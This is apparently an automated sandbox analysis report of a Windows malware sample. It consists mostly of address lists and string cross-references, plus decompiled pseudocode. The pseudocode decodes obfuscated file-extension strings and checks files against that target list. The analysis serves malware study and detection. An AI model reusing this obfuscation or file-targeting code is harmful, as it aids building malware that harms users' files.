0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7cf
0x0040a7d7
0x0040a7d8
0x0040a7db
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f8
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a936
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa11
0x0040aa1d
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adf3
0x0040adf3
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

h, xrefs: 0040A69E
E, xrefs: 0040A03F
{, xrefs: 0040AA4F
V, xrefs: 0040A75E
L, xrefs: 0040A04F
V, xrefs: 00409F66
:, xrefs: 0040A80C
O, xrefs: 00409F6E
d, xrefs: 0040A878
E, xrefs: 0040AA59
*, xrefs: 0040A5A5
\, xrefs: 0040A03A
4, xrefs: 0040AA23
?, xrefs: 0040A555
^, xrefs: 0040A595
s, xrefs: 0040A804
$, xrefs: 0040A7EC
d, xrefs: 0040A868
c, xrefs: 0040A98F
}, xrefs: 0040A34F
Z, xrefs: 0040AA1E
T, xrefs: 0040A7DC
F, xrefs: 0040A63E
{, xrefs: 0040A170
;, xrefs: 0040A62E
!, xrefs: 0040A565
7, xrefs: 0040A5C5
C, xrefs: 00409F76
:, xrefs: 0040A3E2
I, xrefs: 0040A834
o, xrefs: 0040A870
9, xrefs: 0040A1D2
L, xrefs: 0040AA35
&, xrefs: 0040A51D
_, xrefs: 0040A61E
t, xrefs: 0040A858
r, xrefs: 0040A860
`, xrefs: 0040A68E
K, xrefs: 00409F8E
P, xrefs: 0040A766
", xrefs: 0040A047
P, xrefs: 0040A64E
H, xrefs: 0040A0A1
d, xrefs: 0040A96F
", xrefs: 0040AA3D
D, xrefs: 0040A7E4
B, xrefs: 00409F86
;, xrefs: 0040A5BD
J, xrefs: 0040AA4A
_, xrefs: 0040A814
p, xrefs: 0040A3C2
5, xrefs: 0040A646
d, xrefs: 0040A160
}, xrefs: 0040A505
., xrefs: 00409FA0
#, xrefs: 0040A626
l, xrefs: 0040A987
u, xrefs: 0040A880
j, xrefs: 0040A0B1
I, xrefs: 0040A58D
], xrefs: 0040A97F
9, xrefs: 0040A057
-, xrefs: 0040A33F
, xrefs: 0040A4FD
., xrefs: 00409F96
+, xrefs: 0040A83C
[, xrefs: 0040A1F2
^, xrefs: 00409F7E
2, xrefs: 0040A3DA
', xrefs: 0040A844
g, xrefs: 0040A0A9
O, xrefs: 0040A5D5
@, xrefs: 0040A030
&, xrefs: 0040A32F
E, xrefs: 0040A236
), xrefs: 0040A8BB

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $!$"$"$#$$$&$&$'$)$*$+$-$.$.$2$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$L$L$O$O$P$P$T$V$V$Z$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$j$l$o$p$r$s$t$u${${$}$}
API String ID: 0-3967217698
Opcode ID: 8f26892270da16b74135cb3e48db13f60704b1c058d754d3c0822c1ca13c8c18
Instruction ID: 7a2440e87e79d7fe62b7d6ada878867d86179068f513ae3fd5b10f0d36472728
Opcode Fuzzy Hash: 8f26892270da16b74135cb3e48db13f60704b1c058d754d3c0822c1ca13c8c18
Instruction Fuzzy Hash: 2282A13040C7C29AD336CA3884487CBBFD56BE6324F488B9DD1ED4A2D2DA750249D767

Uniqueness

Uniqueness Score: -1.00%

Function 00405310, Relevance: 93.4, APIs: 1, Strings: 61, Instructions: 393
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00405310(void* __ebx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				intOrPtr _v32;
				char* _v36;
				char* _v40;
				signed int* _v44;
				char* _v48;
				signed char* _v52;
				char* _v56;
				intOrPtr _v60;
				char* _v64;
				char* _v68;
				char* _v72;
				char* _v76;
				char* _v80;
				intOrPtr _v84;
				char* _v88;
				signed char* _v92;
				char* _v96;
				signed char* _v100;
				signed char* _v104;
				char* _v108;
				char* _v112;
				char* _v116;
				signed char* _v120;
				char* _v124;
				char* _v128;
				char* _v132;
				intOrPtr _v136;
				char* _v140;
				char* _v144;
				intOrPtr _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				signed char _v165;
				signed char _v166;
				signed char _v167;
				signed char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				signed char _v173;
				signed char _v174;
				signed char _v175;
				signed char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				signed char _v201;
				signed char _v202;
				signed char _v203;
				signed char _v204;
				signed char _v205;
				signed char _v206;
				signed char _v207;
				signed char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				signed int _v253;
				signed int _v254;
				signed int _v255;
				signed int _v256;
				intOrPtr _t286;
				intOrPtr _t289;
				void* _t290;
				void* _t296;
				void* _t301;
				void* _t306;
				intOrPtr _t311;
				void* _t312;
				char _t313;
				void* _t328;
				signed int _t337;
				char _t339;
				char _t342;
				char _t345;
				char _t348;
				void* _t354;
				signed char _t378;
				intOrPtr _t398;
				void* _t401;
				void* _t402;
				char _t403;
				void* _t404;
				void* _t405;
				void* _t406;
				CHAR* _t407;
				intOrPtr _t409;
				signed int* _t412;
				signed int* _t413;
				signed int* _t414;

				_t286 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t286;
				_v184 = 0x61;
				_v232 = 0x61;
				_t337 = 0;
				_push(4);
				_push( &_v192);
				_v183 = 0x64;
				_v182 = 0x62;
				_v181 = 0;
				_v231 = 0x73;
				_v230 = 0x70;
				_v229 = 0;
				_v192 = 0xd3;
				_v191 = 0xda;
				_v190 = 0x3e;
				_v189 = 0x24;
				_v256 = 0x27;
				_v255 = 0x44;
				_v254 = 0x22;
				_v253 = 0x45;
				_t289 = E00405290( &_v256);
				_t412 =  &(( &_v256)[2]);
				_v148 = _t289;
				_v164 = 0x63;
				_v163 = 0x67;
				_v162 = 0x69;
				_v161 = 0;
				_v224 = 0x64;
				_v223 = 0x62;
				_v222 = 0x78;
				_v221 = 0;
				_v12 = 0x64;
				_v11 = 0x68;
				_v10 = 0x74;
				_v9 = 0x6d;
				_v8 = 0;
				_v256 = 0xfd;
				_v255 = 0x3e;
				_v254 = 0x99;
				_v253 = 0xb2;
				_t290 = 0;
				_t401 = 3;
				do {
					_t339 =  *((intOrPtr*)(_t412 + _t290 + 0xc));
					 *((char*)(_t412 + _t290 + 0xc)) =  *((intOrPtr*)(_t412 + _t401 + 0xc));
					_t290 = _t290 + 1;
					 *((char*)(_t412 + _t401 + 0xc)) = _t339;
					_t401 = _t401 - 1;
				} while (_t290 < _t401);
				_v176 = _v256 ^ 0x000000d7;
				_v173 = _v253 ^ 0x000000fd;
				_v160 = 0x6a;
				_v254 = 0x6a;
				_v175 = _v255 ^ 0x000000f4;
				_v174 = _v254 ^ 0x00000052;
				_v216 = 0x68;
				_v215 = 0x74;
				_v214 = 0x6d;
				_v213 = 0;
				_v28 = 0x68;
				_v27 = 0x74;
				_v26 = 0x6d;
				_v25 = 0x6c;
				_v24 = 0;
				_v159 = 0x73;
				_v158 = 0x70;
				_v157 = 0;
				_v256 = 2;
				_v255 = 0x1e;
				_v253 = 0xb7;
				_t296 = 0;
				_t402 = 3;
				asm("pushad");
				asm("popad");
				do {
					_t342 =  *((intOrPtr*)(_t412 + _t296 + 0xc));
					 *((char*)(_t412 + _t296 + 0xc)) =  *((intOrPtr*)(_t412 + _t402 + 0xc));
					_t296 = _t296 + 1;
					 *((char*)(_t412 + _t402 + 0xc)) = _t342;
					_t402 = _t402 - 1;
				} while (_t296 < _t402);
				_v208 = _v256 ^ 0x000000da;
				_v205 = _v253 ^ 0x00000002;
				_v207 = _v255 ^ 0x00000008;
				_v206 = _v254 ^ 0x00000066;
				_v256 = 0xb7;
				_v255 = 0xc3;
				_v254 = 0x2a;
				_v253 = 0x74;
				_t301 = 0;
				_t403 = 3;
				do {
					_t345 =  *((intOrPtr*)(_t412 + _t301 + 0xc));
					 *((char*)(_t412 + _t301 + 0xc)) =  *((intOrPtr*)(_t412 + _t403 + 0xc));
					_t301 = _t301 + 1;
					 *((char*)(_t412 + _t403 + 0xc)) = _t345;
					_t403 = _t403 - 1;
				} while (_t301 < _t403);
				_v168 = _v256 ^ 0x00000019;
				_t378 = _v254 ^ 0x000000bb;
				_v165 = _v253 ^ 0x000000b7;
				_v167 = _v255 ^ 0x0000004e;
				_v166 = _t378;
				_v200 = 0x6d;
				_v199 = 0x68;
				_v198 = 0x74;
				_v197 = 0;
				_v256 = 0x6f;
				_v255 = 0x93;
				_v254 = 0xc7;
				_v253 = 0xd;
				_t306 = 0;
				_t404 = 3;
				_push(_t378);
				do {
					_t348 =  *((intOrPtr*)(_t412 + _t306 + 0xc));
					 *((char*)(_t412 + _t306 + 0xc)) =  *((intOrPtr*)(_t412 + _t404 + 0xc));
					_t306 = _t306 + 1;
					 *((char*)(_t412 + _t404 + 0xc)) = _t348;
					_t404 = _t404 - 1;
				} while (_t306 < _t404);
				_v152 = _v256 ^ 0x00000060;
				_v151 = _v255 ^ 0x000000aa;
				_push(4);
				_push( &_v156);
				_v150 = _v254 ^ 0x000000f5;
				 *0x431c84 = 6;
				_v149 = _v253 ^ 0x0000006f;
				_v252 = 0x6d;
				_v251 = 0x73;
				_v250 = 0x67;
				_v249 = 0;
				_v156 = 3;
				_v155 = 0xb6;
				_v154 = 0x9f;
				_v153 = 0x7a;
				_v256 = 0x76;
				_v255 = 0x18;
				_v254 = 0x7b;
				_v253 = 0x13;
				_t311 = E00405290( &_v256);
				_push(4);
				_push( &_v240);
				_t398 = _t311;
				_v248 = 0x6f;
				_v247 = 0x64;
				_v246 = 0x73;
				_v245 = 0;
				_v244 = 0x6f;
				_v243 = 0x66;
				_v242 = 0x74;
				_v241 = 0;
				_v236 = 0x74;
				_v235 = 0x62;
				_v234 = 0x62;
				_v233 = 0;
				_v228 = 0x74;
				_v227 = 0x78;
				_v226 = 0x74;
				_v225 = 0;
				_v220 = 0x75;
				_v219 = 0x69;
				_v218 = 0x6e;
				_v217 = 0;
				_v240 = 0xcf;
				_v239 = 8;
				_v238 = 0x17;
				_v237 = 4;
				_v256 = 5;
				_v255 = 0x72;
				_v254 = 0x13;
				_v253 = 0x71;
				_t312 = E00405290( &_v256);
				_t413 =  &(_t412[4]);
				_t409 = _t312;
				_v212 = 0x77;
				_v211 = 0x73;
				_v210 = 0x68;
				_v209 = 0;
				_v256 = 0xdc;
				_v255 = 0xab;
				_v254 = 0x74;
				_v253 = 0xac;
				_t354 = 0;
				_t405 = 3;
				do {
					_t313 =  *((intOrPtr*)(_t413 + _t354 + 0x10));
					 *((char*)(_t413 + _t354 + 0x10)) =  *((intOrPtr*)(_t413 + _t405 + 0x10));
					_t354 = _t354 + 1;
					 *((char*)(_t413 + _t405 + 0x10)) = _t313;
					_t405 = _t405 - 1;
				} while (_t354 < _t405);
				_v204 = _v256 ^ 0x000000d4;
				_v203 = _v255 ^ 0x00000019;
				_v202 = _v254 ^ 0x000000c7;
				_v201 = _v253 ^ 0x000000dc;
				_v136 = _v148;
				_v144 =  &_v184;
				_v140 =  &_v232;
				_v132 =  &_v164;
				_v128 =  &_v224;
				_v124 =  &_v12;
				_v120 =  &_v176;
				_v116 =  &_v216;
				_v112 =  &_v28;
				_v108 =  &_v160;
				_v104 =  &_v208;
				_v100 =  &_v168;
				_v96 =  &_v200;
				_v92 =  &_v152;
				_v88 =  &_v252;
				_v80 =  &_v248;
				_v76 =  &_v244;
				_v72 =  &_v236;
				 *0x431c84 = 6;
				_v196 = 0x70;
				_v195 = 0x68;
				_v194 = 0x70;
				_v193 = 0;
				_v256 = 0x70;
				_v255 = 0x6c;
				_v254 = 0;
				_v188 = 0x73;
				_v187 = 0x68;
				_v186 = 0x74;
				_v185 = 0;
				_v20 = 0x73;
				_v19 = 0x68;
				_v18 = 0x74;
				_v17 = 0x6d;
				_v16 = 0;
				_v180 = 0xc3;
				_v179 = 0x49;
				_v178 = 0xc5;
				_v177 = 0x38;
				_v172 = 0xef;
				_v171 = 0x9c;
				_v170 = 0xe8;
				_v169 = 0x85;
				_v84 = _t398;
				_v68 =  &_v228;
				_v64 =  &_v220;
				_v60 = _t409;
				_v56 =  &_v212;
				_v52 =  &_v204;
				_v44 =  &_v256;
				_v48 =  &_v196;
				_v40 =  &_v188;
				_push(4);
				_push( &_v180);
				_v36 =  &_v20;
				_v32 = E00405290( &_v172);
				_t328 = E00425420(_a4, _a4, 0x2e);
				_t414 =  &(_t413[4]);
				_t406 = _t328;
				if(_t406 == 0) {
					L14:
					return E00424873(0, _v4);
				} else {
					_t407 = _t406 + 1;
					while(lstrcmpiA(_t407,  *(_t414 + 0x7c + _t337 * 4)) != 0) {
						_t337 = _t337 + 1;
						if(_t337 < 0x1d) {
							continue;
						} else {
							goto L14;
						}
						goto L16;
					}
					asm("pushfd");
					asm("popfd");
					return E00424873(1, _v4);
				}
				L16:
			}

0x00405316
0x0040531c
0x00405327
0x0040532b
0x00405333
0x00405335
0x00405337
0x0040533c
0x00405341
0x00405346
0x0040534a
0x0040534f
0x00405354
0x00405358
0x0040535d
0x00405362
0x00405367
0x0040536c
0x00405371
0x00405376
0x0040537b
0x00405380
0x00405385
0x00405388
0x0040538c
0x00405391
0x00405396
0x0040539b
0x0040539f
0x004053a4
0x004053a9
0x004053ae
0x004053b2
0x004053ba
0x004053c2
0x004053ca
0x004053d2
0x004053d9
0x004053de
0x004053e3
0x004053e8
0x004053ed
0x004053f3
0x004053f4
0x004053f8
0x004053fc
0x00405400
0x00405401
0x00405405
0x00405406
0x00405418
0x00405422
0x0040542e
0x00405432
0x00405436
0x0040543a
0x0040543e
0x00405443
0x00405448
0x0040544d
0x00405451
0x00405459
0x00405461
0x00405469
0x00405471
0x00405478
0x0040547d
0x00405482
0x00405486
0x0040548b
0x00405490
0x00405495
0x00405499
0x0040549a
0x0040549b
0x004054a0
0x004054a4
0x004054a8
0x004054ac
0x004054ad
0x004054b1
0x004054b2
0x004054c4
0x004054d4
0x004054d8
0x004054dc
0x004054e0
0x004054e5
0x004054ea
0x004054ef
0x004054f4
0x004054f6
0x00405500
0x00405504
0x00405508
0x0040550c
0x0040550d
0x00405511
0x00405512
0x00405524
0x00405531
0x00405534
0x00405538
0x0040553c
0x00405540
0x00405545
0x0040554a
0x0040554f
0x00405553
0x00405558
0x0040555d
0x00405562
0x00405567
0x0040556b
0x0040556c
0x00405570
0x00405574
0x00405578
0x0040557c
0x0040557d
0x00405581
0x00405582
0x00405598
0x004055a0
0x004055a8
0x004055af
0x004055b4
0x004055bb
0x004055c2
0x004055c9
0x004055ce
0x004055d3
0x004055d8
0x004055dc
0x004055e1
0x004055e6
0x004055eb
0x004055f0
0x004055f5
0x004055fa
0x004055ff
0x00405604
0x0040560d
0x0040560f
0x00405614
0x00405616
0x0040561b
0x00405620
0x00405625
0x00405629
0x0040562e
0x00405633
0x00405638
0x0040563c
0x00405641
0x00405646
0x0040564b
0x0040564f
0x00405654
0x00405659
0x0040565e
0x00405662
0x00405667
0x0040566c
0x00405671
0x00405675
0x0040567a
0x0040567f
0x00405684
0x00405689
0x0040568e
0x00405693
0x00405698
0x0040569d
0x004056a2
0x004056a6
0x004056a7
0x004056ac
0x004056b1
0x004056b6
0x004056ba
0x004056bf
0x004056c4
0x004056c9
0x004056ce
0x004056d4
0x004056e0
0x004056e4
0x004056e8
0x004056ec
0x004056ed
0x004056f1
0x004056f2
0x00405704
0x00405714
0x00405718
0x0040571c
0x00405724
0x0040572f
0x0040573a
0x00405745
0x00405750
0x0040575e
0x00405769
0x00405774
0x00405782
0x00405795
0x0040579c
0x004057a3
0x004057b6
0x004057bd
0x004057c4
0x004057d7
0x004057de
0x004057e5
0x004057f8
0x004057ff
0x00405804
0x00405809
0x0040580e
0x00405812
0x00405817
0x0040581c
0x00405820
0x00405825
0x0040582a
0x0040582f
0x00405833
0x0040583b
0x00405843
0x0040584b
0x00405853
0x0040585a
0x0040585f
0x00405864
0x00405869
0x0040586e
0x00405873
0x00405878
0x0040587d
0x00405882
0x00405889
0x00405890
0x00405897
0x0040589e
0x004058a9
0x004058b8
0x004058c3
0x004058ce
0x004058dc
0x004058de
0x004058e3
0x004058f9
0x00405900
0x00405905
0x00405909
0x0040590d
0x0040592a
0x0040593f
0x0040590f
0x00405915
0x00405916
0x00405922
0x00405926
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405926
0x00405949
0x0040594d
0x0040595a
0x0040595a
0x00000000

Strings

i, xrefs: 00405396
D, xrefs: 00405371
h, xrefs: 00405825
I, xrefs: 0040585F
o, xrefs: 00405629
h, xrefs: 0040583B
o, xrefs: 00405616
t, xrefs: 00405633
b, xrefs: 00405641
i, xrefs: 00405667
s, xrefs: 00405820
r, xrefs: 0040568E
*, xrefs: 004054EA
v, xrefs: 004055F0
t, xrefs: 00405459
p, xrefs: 00405809
g, xrefs: 00405391
s, xrefs: 00405833
l, xrefs: 00405817
b, xrefs: 00405341
h, xrefs: 004053BA
u, xrefs: 00405662
m, xrefs: 004055C9
s, xrefs: 004055CE
p, xrefs: 00405812
8, xrefs: 00405869
b, xrefs: 00405646
t, xrefs: 00405843
m, xrefs: 00405461
n, xrefs: 0040566C
E, xrefs: 0040537B
t, xrefs: 004054EF
", xrefs: 00405376
q, xrefs: 00405698
s, xrefs: 00405478
g, xrefs: 004055D3
t, xrefs: 004056C4
c, xrefs: 0040538C
d, xrefs: 0040561B
h, xrefs: 004056B1
f, xrefs: 0040562E
s, xrefs: 004056AC
h, xrefs: 00405451
m, xrefs: 0040584B
p, xrefs: 004057FF
', xrefs: 0040536C
s, xrefs: 00405620
h, xrefs: 00405804
o, xrefs: 00405553
l, xrefs: 00405469
t, xrefs: 0040563C
t, xrefs: 0040582A
{, xrefs: 004055FA
p, xrefs: 0040547D
z, xrefs: 004055EB
m, xrefs: 004053CA
>, xrefs: 004053DE
w, xrefs: 004056A7
$, xrefs: 00405367
d, xrefs: 004053B2
t, xrefs: 004053C2

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: "$$$'$*$8$>$D$E$I$b$b$b$c$d$d$f$g$g$h$h$h$h$h$h$i$i$l$l$m$m$m$m$n$o$o$o$p$p$p$p$q$r$s$s$s$s$s$s$t$t$t$t$t$t$t$t$u$v$w$z${
API String ID: 0-1889039134
Opcode ID: ceff05aa379b9d365baf79fbe69cf02af2dd95cbec0c7209d0a9bbd1e2ed7b42
Instruction ID: 2f87bf0c6ac2ab43ed99a92da50fcf2e17e2e397d20adae0ecc060e7793d1341
Opcode Fuzzy Hash: ceff05aa379b9d365baf79fbe69cf02af2dd95cbec0c7209d0a9bbd1e2ed7b42
Instruction Fuzzy Hash: 3212082140D3C1DDD322CB28945479FFFD15FA6218F489E9EE1E847392D2BA8209CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00404990, Relevance: 76.6, Strings: 61, Instructions: 373
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00404990(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				intOrPtr _v28;
				signed char _v36;
				signed char _v37;
				signed char _v38;
				signed char _v39;
				signed char _v40;
				signed char _v41;
				signed char _v42;
				signed char _v43;
				signed char _v44;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				signed char _v64;
				signed char _v65;
				signed char _v66;
				signed char _v67;
				signed char _v68;
				signed char _v69;
				signed char _v70;
				signed char _v71;
				signed char _v72;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				signed char _v153;
				signed char _v154;
				signed char _v155;
				signed char _v156;
				signed int _v157;
				signed int _v158;
				signed int _v159;
				signed int _v160;
				signed int _v161;
				signed int _v162;
				signed int _v163;
				signed int _v164;
				signed int _v168;
				signed int _v169;
